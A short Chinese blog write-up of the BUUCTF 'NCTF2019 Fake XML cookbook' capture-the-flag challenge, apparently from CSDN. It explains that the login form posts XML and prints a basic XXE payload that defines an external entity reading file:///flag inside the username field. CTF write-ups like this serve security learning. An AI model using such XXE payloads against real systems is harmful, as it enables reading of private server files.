【BUUCTF】[NCTF2019]Fake XML cookbook

aoao今晚吃什么

于 2022-04-30 16:19:13 发布

阅读量381

点赞数 1

分类专栏： XXE 文章标签：安全 web安全

本文链接：https://blog.youkuaiyun.com/aoao331198/article/details/124514386

版权

XXE 专栏收录该内容

1 篇文章

订阅专栏

这篇博客探讨了如何从理解XML的结构逐步深入到XXE（XML外部实体注入）漏洞的原理。通过示例展示了基本的XXE攻击构造，利用XML实体引用文件系统，揭示了网络安全中关于数据安全和输入验证的重要性。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

bp抓包观察，username和password是以xml文件形式post的
在这里插入图片描述
学习从XML相关一步一步到XXE漏洞
用最基本的XXE攻击

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY user SYSTEM "file:///flag">
]>
<user><username>&user;</username><password>123</password></user>

在这里插入图片描述